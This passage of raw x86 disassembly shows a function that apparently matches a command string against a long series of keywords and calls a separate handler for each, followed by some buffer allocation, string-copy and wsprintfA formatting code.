mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f32
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a2af
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043d940
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f38
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a2e7
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0043da6c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f41
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a31b
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043dc2c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f47
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a34f
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043dccc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f50
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a38b
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.004bb068
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f56
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a3b7
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043dd5c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f5b
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043df08
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f64
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a42b
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043ba3c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f6b
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a467
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x48]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043e15c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f72
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0043e0c4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f78
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a4d7
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043e15c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f7d
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a50f
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00439d10
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f85
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a53f
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004c294c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f8d
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a573
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043e420
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f95
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a5ab
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043e578
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8f9d
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a5e3
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043e6a4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fa5
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a613
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0043e80c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fad
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a637
call fcn.0043e9e8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fbb
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a65f
mov edx, dword [ebp - 0x70]
push edx
call fcn.0043ea04
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fc6
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a68b
mov edx, dword [ebp + 0x24]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.0043ea34
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fce
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a6c3
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043ea58
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fd6
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a6f5
push 3
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00438818
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fdd
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a727
push 1
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0043b8bc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fe4
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a757
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0043edbc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8fe9
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a793
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043f070
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f8ff0
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
call fcn.004c2ca4
jmp 0x48b08f
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
xor edx, edx
mov dl, byte [eax + 1]
push edx
call fcn.00408bd0
pop ecx
sub eax, 0x6f
jne 0x48a99a
push 0x4f8ffd
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a806
lea edx, [ebp + 0x38]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004d56f8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9007
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a836
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.004d5c38
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9012
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a85e
mov eax, dword [ebp - 0x70]
push eax
call fcn.004d50a4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f901c
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a886
mov eax, dword [ebp - 0x70]
push eax
call fcn.004d532c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9027
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a8ae
mov eax, dword [ebp - 0x70]
push eax
call fcn.004d4928
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9033
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a8d6
mov eax, dword [ebp - 0x70]
push eax
call fcn.004d4d9c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f903f
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a8fe
mov eax, dword [ebp - 0x70]
push eax
call fcn.004d4ea8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f904b
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a92a
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004d3f78
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9055
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a95a
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.004d4138
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f905e
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004412a4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9065
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a9d2
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043f1f0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f906b
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48a9fe
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.0043f47c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9074
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aa22
call fcn.0043fb34
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f907d
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aa5e
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x24]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.0043fba8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9082
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aa96
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.0043fc14
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f908a
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aad2
lea eax, [ebp + 0x38]
push eax
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00440b34
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f908f
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aafa
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.004410c0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9099
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ab2c
push 4
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00438818
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90a0
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ab58
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.004419a8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90a7
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ab90
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00441abc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90ae
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48abc4
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00441d74
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90b4
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00441e8c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 5
push 0x4f90bb
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.00401540
add esp, 0xc
test eax, eax
jne 0x48ac3a
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp - 0x48]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.004ddbe0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90c2
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ac72
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x24]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00442078
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90cd
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aca2
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.004426b8
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90d7
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ad6a
cmp dword [ebp - 0x78], 0
je 0x48accd
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.0040c454
pop ecx
xor eax, eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x7c], 0
je 0x48ace2
mov edx, dword [ebp - 0x7c]
push edx
call fcn.0040c454
pop ecx
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
xor eax, eax
mov dword [ebp - 0x3c], eax
mov edx, dword [ebp - 0x70]
cmp dword [edx + 4], 0
je 0x48ad58
mov ecx, dword [ebp - 0x70]
cmp dword [ecx + 8], 0
je 0x48ad58
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 4]
push edx
call fcn.00409a14
pop ecx
mov dword [edi], eax
cmp dword [edi], 0
jle 0x48ad58
cmp dword [edi], 0xff
jg 0x48ad58
mov ecx, dword [edi]
push ecx
push 0x4f90e1
mov eax, dword [ebp + 0x20]
push eax
call sub.USER32.dll_wsprintfA
add esp, 0xc
mov edx, dword [ebp + 0x1c]
mov byte [edx], 0
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
push 2
call fcn.004b6b5c
mov edx, dword [ebp + 0x1c]
mov dword [ebp + 0x10], edx
mov dword [ebp - 0x84], 1
jmp 0x486e71
xor ecx, ecx
mov dword [ebp + 0x10], ecx
xor eax, eax
mov dword [ebp - 0x84], eax
jmp 0x48b08f
push 0x4f90e5
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.00442878
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90eb
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48adce
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00442a8c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90f2
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ae06
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00442cfc
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f90fa
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ae3e
lea ecx, [ebp + 0x38]
push ecx
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00442ff0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9101
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48ae74
lea eax, [ebp + 0x38]
push eax
mov edx, dword [ebp + 0x2c]
push edx
push 0
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00442ff0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f910b
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aea0
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
call fcn.004430f4
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9115
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48aed0
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00443200
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f911a
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004433b0
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9120
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48af3a
push 0
mov edx, dword [ebp + 0x2c]
push edx
mov ecx, dword [ebp + 0x20]
push ecx
mov eax, dword [ebp + 0x1c]
push eax
mov edx, dword [ebp - 0x70]
push edx
mov ecx, dword [ebp + 8]
push ecx
call fcn.00413224
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9126
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48af74
push 1
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00413224
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f912d
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
push 2
mov eax, dword [ebp + 0x2c]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00413224
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9134
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48afe6
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00443520
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f913c
mov ecx, dword [ebp - 0x70]
mov eax, dword [ecx]
push eax
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48b015
push 1
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
call fcn.00437534
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f9145
mov edx, dword [ebp - 0x70]
mov ecx, dword [edx]
push ecx
call fcn.004014a8
add esp, 8
test eax, eax
jne 0x48b042
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp + 0x1c]
push edx
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.004c1c28
mov dword [ebp - 0x40], eax
jmp 0x48b08f
push 0x4f914c
mov eax, dword [ebp - 0x70]
mov edx, dword [eax]
push edx
call fcn.004014a8
add esp, 8
test eax, eax
jne case.0x4887ef.107
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp + 0x20]
push eax
mov edx, dword [ebp - 0x70]
push edx
call fcn.004c294c
mov dword [ebp - 0x40], eax
jmp 0x48b08f
mov ecx, dword [ebp + 0x2c]
push ecx
mov eax, dword [ebp - 0x48]
push eax
mov edx, dword [ebp + 0x20]
push edx
mov ecx, dword [ebp + 0x1c]
push ecx
mov eax, dword [ebp - 0x70]
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.0043c524
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 4
jne 0x48b11e
cmp dword [ebp - 0x74], 0
je 0x48b0a9
mov ecx, dword [ebp - 0x74]
push ecx
call fcn.0040c454
pop ecx
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 4]
push edx
call fcn.00401318
pop ecx
add eax, 0xa
push eax
call fcn.0040c55c
pop ecx
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x48b0e3
push 2
push 0
push 0x4f9156
push 0
call fcn.0045bf34
xor ecx, ecx
mov dword [ebp - 0x40], ecx
jmp 0x48b1f3
mov eax, dword [ebp - 0x70]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x74]
push edi
mov edi, edx
mov esi, ecx
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
xchg edi, esi
mov eax, edi
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x40], 1
jmp 0x48b138
cmp dword [ebp - 0x40], 1
jne 0x48b1f3
cmp dword [ebp - 0x4c], 0
je 0x48b138
cmp dword [ebp - 0x44], 0
jg 0x48878e
mov edx, dword [ebp - 0x88]
mov dword [0x4f1b10], edx
cmp dword [0x4f1b10], 0
je 0x48b16e
mov ecx, dword [0x4f1b10]
push ecx
call fcn.004cbf80
test eax, eax
jne 0x48b16e
xor eax, eax
mov dword [0x4f1b10], eax
xor edx, edx
mov dword [ebp - 0x40], edx
